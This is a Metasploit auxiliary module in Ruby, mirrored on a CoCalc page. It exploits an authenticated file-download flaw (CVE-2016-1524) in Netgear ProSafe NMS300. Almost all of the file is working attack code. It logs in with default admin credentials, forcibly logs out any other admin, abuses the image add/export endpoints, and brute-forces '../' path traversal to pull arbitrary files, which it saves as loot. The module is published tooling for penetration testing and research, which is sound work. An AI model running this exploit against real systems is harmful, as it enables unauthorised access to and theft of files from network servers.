Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/netgear_auth_download.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
15
'Description' => %q{
16
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
17
The application has a file download vulnerability that can be exploited by an
18
authenticated remote attacker to download any file in the system.
19
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
20
},
21
'Author' => [
22
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
23
],
24
'License' => MSF_LICENSE,
25
'References' => [
26
['CVE', '2016-1524'],
27
['US-CERT-VU', '777024'],
28
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
29
['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30']
30
],
31
'DisclosureDate' => '2016-02-04',
32
'Notes' => {
33
'Stability' => [CRASH_SAFE],
34
'SideEffects' => [IOC_IN_LOGS],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options(
41
[
42
Opt::RPORT(8080),
43
OptString.new('TARGETURI', [true, 'Application path', '/']),
44
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
45
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
46
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
47
]
48
)
49
50
register_advanced_options(
51
[
52
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
53
]
54
)
55
end
56
57
def authenticate
58
res = send_request_cgi({
59
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
60
'method' => 'POST',
61
'vars_post' => {
62
'userName' => datastore['USERNAME'],
63
'password' => datastore['PASSWORD']
64
},
65
'vars_get' => { 'method' => 'login' }
66
})
67
68
if res && res.code == 200
69
cookie = res.get_cookies
70
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
71
# another admin is logged in, let's kick him out
72
res = send_request_cgi({
73
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
74
'method' => 'POST',
75
'cookie' => cookie,
76
'vars_post' => { 'singleId' => ::Regexp.last_match(1) },
77
'vars_get' => { 'method' => 'loginAgain' }
78
})
79
if res && res.code == 200 && (res.body.to_s !~ /"success":true/)
80
return nil
81
end
82
end
83
return cookie
84
end
85
return nil
86
end
87
88
def download_file(download_path, cookie)
89
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.img'
90
begin
91
res = send_request_cgi({
92
'method' => 'POST',
93
'cookie' => cookie,
94
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
95
'vars_get' => {
96
'method' => 'add'
97
},
98
'vars_post' => {
99
'realName' => download_path,
100
'md5' => '',
101
'fileName' => filename,
102
'version' => Rex::Text.rand_text_alphanumeric(rand(8..9)),
103
'vendor' => Rex::Text.rand_text_alphanumeric(rand(4..6)),
104
'deviceType' => rand(999),
105
'deviceModel' => Rex::Text.rand_text_alphanumeric(rand(5..7)),
106
'description' => Rex::Text.rand_text_alphanumeric(rand(8..17))
107
}
108
})
109
110
if res && res.code == 200 && res.body.to_s =~ /"success":true/
111
res = send_request_cgi({
112
'method' => 'POST',
113
'cookie' => cookie,
114
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
115
'vars_get' => {
116
'method' => 'getPageList',
117
'type' => 'configImgManager'
118
},
119
'vars_post' => {
120
'everyPage' => rand(500..1498)
121
}
122
})
123
124
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
125
image_id = ::Regexp.last_match(1)
126
return send_request_cgi({
127
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
128
'method' => 'GET',
129
'cookie' => cookie,
130
'vars_get' => {
131
'method' => 'export',
132
'imageId' => image_id
133
}
134
})
135
end
136
end
137
return nil
138
rescue Rex::ConnectionRefused
139
print_error("#{peer} - Could not connect.")
140
return
141
end
142
end
143
144
def save_file(filedata)
145
vprint_line(filedata.to_s)
146
fname = File.basename(datastore['FILEPATH'])
147
148
path = store_loot(
149
'netgear.http',
150
'application/octet-stream',
151
datastore['RHOST'],
152
filedata,
153
fname
154
)
155
print_good("File saved in: #{path}")
156
end
157
158
def run
159
cookie = authenticate
160
if cookie.nil?
161
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
162
else
163
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
164
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol
165
end
166
167
if datastore['FILEPATH'].blank?
168
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
169
return
170
end
171
172
filepath = datastore['FILEPATH']
173
res = download_file(filepath, cookie)
174
if res && res.code == 200 && res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/)
175
save_file(res.body)
176
return
177
end
178
179
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
180
count = 1
181
while count < datastore['DEPTH']
182
res = download_file(('../' * count).chomp('/') + filepath, cookie)
183
if res && res.code == 200 && res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/)
184
save_file(res.body)
185
return
186
end
187
count += 1
188
end
189
190
print_error("#{peer} - Failed to download file.")
191
end
192
end
193
194